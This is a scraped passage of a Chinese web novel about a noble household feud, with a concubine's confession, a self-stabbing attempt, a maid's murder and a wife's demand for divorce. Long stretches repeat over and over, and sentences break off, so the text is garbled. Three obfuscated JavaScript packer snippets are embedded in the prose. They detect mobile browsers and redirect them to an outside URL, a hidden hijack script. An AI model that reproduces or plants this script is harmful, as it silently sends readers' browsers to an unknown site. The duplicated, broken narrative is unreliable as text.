许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249616|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 第161章 孙姨娘折磨渣爹,惊变! 其实一开始谢窈以为孙姨娘故意**这是谢明安和她一起的计划。 但她**后的种种行为还有她质疑反驳芳儿的话却让谢窈看了出来:孙姨娘也在谢明安的算计之中。 算计失败后他毫不犹豫就将孙姨娘当成弃子。 要是孙姨娘此刻的绝望与觉悟都是演的的话那她的演技未免太好。 由此可见可恨之人亦有可怜之处。 只是谢窈并不打算同情。 “一切都是我做的。” 孙姨娘低着头仿佛变成了一具提线木偶缓缓地说: “我本想生下孩子求伯爷抬我为平妻但见到伯夫人被封为诰命夫人后我怕了怕自己即便生下孩子伯爷也不会抬我我便想让伯夫人犯错借此夺回中馈。” 孙药令猛地抬头震惊地看着自己女儿:“馨兰你……” 可很快他明白了女儿的想法。 事到如今辩解已经没用他女儿认了罪但腹中有孩子文昌伯还会保下他们。 要是把文昌伯拉下水且不说他们父女俩什么证据也拿不出来就算有证据文昌伯陷害伯夫人他们也是帮凶。 孙姨娘和谢明安对视在他满意的目光中又道:“是我让我爹给我下毒和伯爷没有关系。” 谢明安立即露出悲痛的神情:“本伯多年的妾室竟如此歹毒实在是让本伯心惊胆战。” 刚才不敢说话的谢家人听到孙姨娘认罪一个个重新跳出来。 谢二爷:“我早就说了大嫂绝不是那等歹毒之人果然一切都怪孙氏手段阴狠!” 谢老夫人叹道:“杜大人这毒妇腹中毕竟还有伯爷的孩子稚子无辜只求大人看在一切是她自谋自演的份上 “这样阴狠毒辣的枕边人本伯断不能留。” 谢明安沉声道回头又向许素素保证起来:“夫人放心等她生下孩子到时候本伯立即将她逐出谢家以慰夫人今日之辱!” 孙姨娘脸上的笑容变得更加灿烂。 她说:“不必等到时候我现在就可以让你看看你儿子。” 谢明安:“什么?” 他没听懂孙姨娘这话什么意思只感觉一直温顺如家羊般的女人现在变得有些陌生。 突然孙姨娘踉跄地转身扑向身旁的人。 司法参军正在专心看戏被吓了一跳下一刻孙姨娘已经拔出他的佩剑! 你的朋友正在书荒,快去帮帮他吧 她举起剑,眼中闪过决然,只犹豫了刹那,就往自己腹部捅去! 谢明安这才明白她要做什么,她要杀他的儿子,他后半辈子的命根子! 他惊恐地大吼:“不要! 千钧一发之际,孙药令扑上前将孙姨娘按倒,哭喊着抱住她:“馨兰,不要啊,你伤了孩子,你会死的啊! 她痛不欲生地挣扎着,挥动刀锋,甚至划伤了孙药令的手臂。 “爹,你放开我,让我带着他的孩子死,一起死! 谢窈眯起眸子,看出了孙姨娘眼中的死志。 她拔出白蔹的佩刀,刀刃一挑,将孙姨娘手里的剑挑飞,再反手轻甩,刀就收回刀鞘,发出铮鸣之声。 一系列动作,干脆利落,如飒沓凛风,让王爷看得出神。 “你就这点骨气,死,有什么用? 挑剑瞬间,谢窈微不可闻的声音,在孙姨娘耳边响起。 孙姨娘浑身一震,看向她。 她这才想起来,其实,谢窈一开始就告诉了自己真相。 她说了,毒下在了安胎药里,可自己太蠢了,居然不信。 孙姨娘急火攻心,“噗地呕出一口鲜血。 她放弃了挣扎,浑身瘫软。 “还不把这个毒妇捆起来,她腹中还有我的孩子,本伯的孩子! 谢明安见孩子保住了,惊急交加。 刚才的情景,差点把他吓晕。 他从没想过,一直乖觉聪慧的孙姨娘,只是让她背个锅罢了,就会忤逆他,甚至要带着他孩子一起死。 此刻,谢明安看孙姨娘的眼神,恨不得生吞活剥。 孙姨娘任由自己被绳子五花大绑,动弹不得。 她嘴唇染血,笑得疯癫,说道:“对,我不死,我今日不死,明日死,明日不死,后日死。 “你个疯妇,你在胡说什么? 下一刻,孙姨娘说出口的话,让所有人面色一变。 “谢明安,孩子还有五个月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255901|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这五个月,我要让你日日活在担惊受怕之中,你防吧,你捆吧,你就看看,我能不能带着你的儿子,一起死! 谢窈淡漠地看着状若疯魔的孙姨娘,眼神清醒而寒凉。 她的母亲,用了这么多年,如今才看清谢明安的真实面目。 凭什么孙姨娘一朝觉醒,就可以痛快地报复? 她该清醒的活着,去折磨谢明安,也折磨她自己。 孙姨娘一直算个聪明人,只需要自己一句提点,就想到了 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 来。 “芳儿,你再仔细说说,你怎么知道,这封信一定是孙姨娘给你写的?” 芳儿浑身发抖,被杜语堂这么一问,下意识看向谢宴。 “就是孙姨娘啊,只有她知道奴婢认字……” 其实知道她识字的下人不少,只不过,知道这事的主子只有孙姨娘一人,所以,她坚信给她送银子的就是孙姨娘。 何况,孙姨娘的丫鬟不都承认了吗,她不明白京兆尹大人,为何还要揪住自己不放。 “奴婢是在小伯爷劝说下说出实情的,奴婢真的没有下毒,也已经知错了,小伯爷,求您救救奴婢。” 情急之下,芳儿低下身,朝谢宴磕头。 谢宴走上前:“大人,确实是在下发现了这贱婢的问题,她也已经将事情交代。” 芳儿眼眶一红,却不敢辩驳,只是怔怔地望着他俊朗如玉的容颜,努力缓解心中的不安。 杜语堂又看向另一个磕头磕晕的孙姨娘丫鬟:“再把她叫醒,本官还有问题要问。” 谢明安连忙瞥了一眼蒋四,见蒋四很是从容,他放下心来,胸有成竹地立在一旁。 问吧,再怎么问,一切都是孙姨娘干的。 司法参军拿起茶水,打算将这个丫鬟泼醒。 忽然,突变陡生! 寒光闪过! 所有人都没反应过来时候,谢宴捡起地上刚才被谢窈拍飞的短剑,一步冲到芳儿面前,单手提起她衣襟。 一剑,割向芳儿喉咙! “呲——” 鲜血喷薄而出,溅了谢宴满身。 第162章 做贼心虚?渣爹颜面尽失 谢宴在众人面前,亲手割断了芳儿的喉咙! 温热的血,溅在少年白皙的脸上,将他鹅黄色的衣袍染得通红。 连靠近些的谢明安和杜语堂,也被浇了一身血。 芳儿瞪大眼睛,眼中满是震惊和痛苦。 明明一个时辰前,小伯爷找上她时,还笑着对她说,只要她说实话,就会护她安稳。 可现在,他…… 芳儿想说什么,但她是被割喉,只能发出“哧哧”的声音,就头一歪,**。 满厅死寂之中,只剩下谢家人倒吸凉气的声音。 杜语堂率先回过神,厉声喝道:“谢宴,你竟敢在本官面前**,你可知罪!” 谢宴却好像没听到他的话,从容地丢弃短剑,任由鲜血顺着他的脸往下滴。 他眼底一片寒冷,唇角微微上扬,道:“杜大人,我不过是惩治一个自家该死的奴婢,何罪之有?” 谢宴说的轻描淡写,仿佛杀的不是人,而是轻轻拂去一只碍眼的虫子。 他当然不会再任由芳儿说下去,信是孙姨娘给的,芳儿不会撒谎。 她继续说,或者和那个晕过去的丫鬟对峙,只会更加做实一切是孙姨娘干的。 但谢宴已经猜到,姐姐和母亲要针对的,是他父亲。 既然如此,他可以帮姐姐一把。 他这个人,骨子里没有什么父慈子孝,长幼尊卑,他只希望姐姐在乎他,他只需要姐姐。 谢宴看向脸色惨白的谢明安,笑得恶劣桀骜:“父亲觉得,儿子做得好吗?这种助纣为虐,背主求荣的贱婢,本就不配活着,儿子杀了她,也省得她再编瞎话连累父亲。” 谢明安:“……” 本来,是连累不了的。 可他儿子替他杀了一个做为证人的丫鬟,反倒显得他在做贼心虚! 这下,怎么说得清? “你——”谢明安刚要反驳。 “谢宴,你倒是会为你父亲着想。” 谢窈打断他的话,故意说道:“伯爷现在不必再害怕了,芳儿已死,断不会再说出什么不该说的话。” 谢宴毫不在意姐姐带刺的语气。 他是文昌伯的亲儿子,毋容置疑,所以现在,所有人都会认为,他是在替文昌伯杀害人证。 他就是为了让众人怀疑谢明安,给母亲和姐姐创造机会。 结合谢窈的话,杜语堂皱紧了眉。 芳儿**,越发显得文昌伯有问题。 他还注意到,文 昌伯的嫡子杀了芳儿,竟然除了脸色有些发白,没有任何不适。 教出这样一个肆意杀害下人,不把人命当回事的儿子,文昌伯怎么会如表面那样无辜? 只是,待他让司法参军叫醒另一个磕头晕了的丫鬟,丫鬟还只说是,一切都是孙姨娘指使的。 但杜语堂看向文昌伯的眼神,却变得若有所思,眼底闪过深深的厌恶。 “文昌伯,你当众殴打我母亲,这件事,可不是死一个人就能盖过去的。”谢窈话锋陡然一转。 杜语堂冷声道:“文昌伯,大燕律法规定,不敬诰命者,杖责五十,若有官位,贬官一级,若有爵位,削爵一级。” 谢明安立即辩驳:“本伯说了,本伯只是被孙氏那毒妇蒙骗,一时冲动失手。” 谢窈:“一时冲动就能不敬诰命,看来伯爷一时冲动,也能不敬朝廷律法,一时冲动,还能不敬皇上!” 谢二爷嘴角抽了抽:“王妃,话可不能这么说,大哥只是急糊涂了,再说,夫妻之间吵架拌嘴,都是常有的事,怎会涉及朝廷和陛下呢。” 谢老夫人更是戳了戳拐杖,说:“谢窈,都是一家人,你非要追究伯爷那一巴掌,传出去,对伯府,对王府都不好看。” “一家人?” 谢窈冷笑一声,转身面对杜语堂。 “杜大人,今日一切您都看到了,这就是文昌伯府,你认为,他们真的把我母亲当做一家人吗?文昌伯宠妾灭妻,侵吞妻子嫁妆,今日又不敬诰命,还望杜大人按律严惩,替诰命夫人讨回公道!” 谢明安慌了,他决不能背上不敬诰命的锅。 “本伯哪里占了你母亲的嫁妆?那些陪嫁,是她自己体弱多病,本伯只是替她管理,那都是她心甘情愿交给本伯的!”他急忙替自己辩解。 “是不是心甘情愿,杜大人心中,有自己的判断。”谢窈说道。 杜语堂能做到京兆尹的官位,不是蠢人,他看得出谢家满门的肮脏龌龊。 谢窈如今是靖北王妃,前几日大婚,他还携妻子一起去萧家祝贺。 若论亲疏,王爷是他表弟,王妃是自己的弟媳,诰命夫人许氏就是他的长辈。 再说,去年京畿地动,许氏的娘家许家,更是给京兆府捐了银两修葺官邸。 许氏的确不该受这样大的委屈。 “大小姐,老奴许六,给您请安了!” 这时,许长思带来的佝偻老者站了出来。 老者满脸激动,走到许素素面前跪下,老泪纵横 :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏,还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏,还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏,还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255902|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 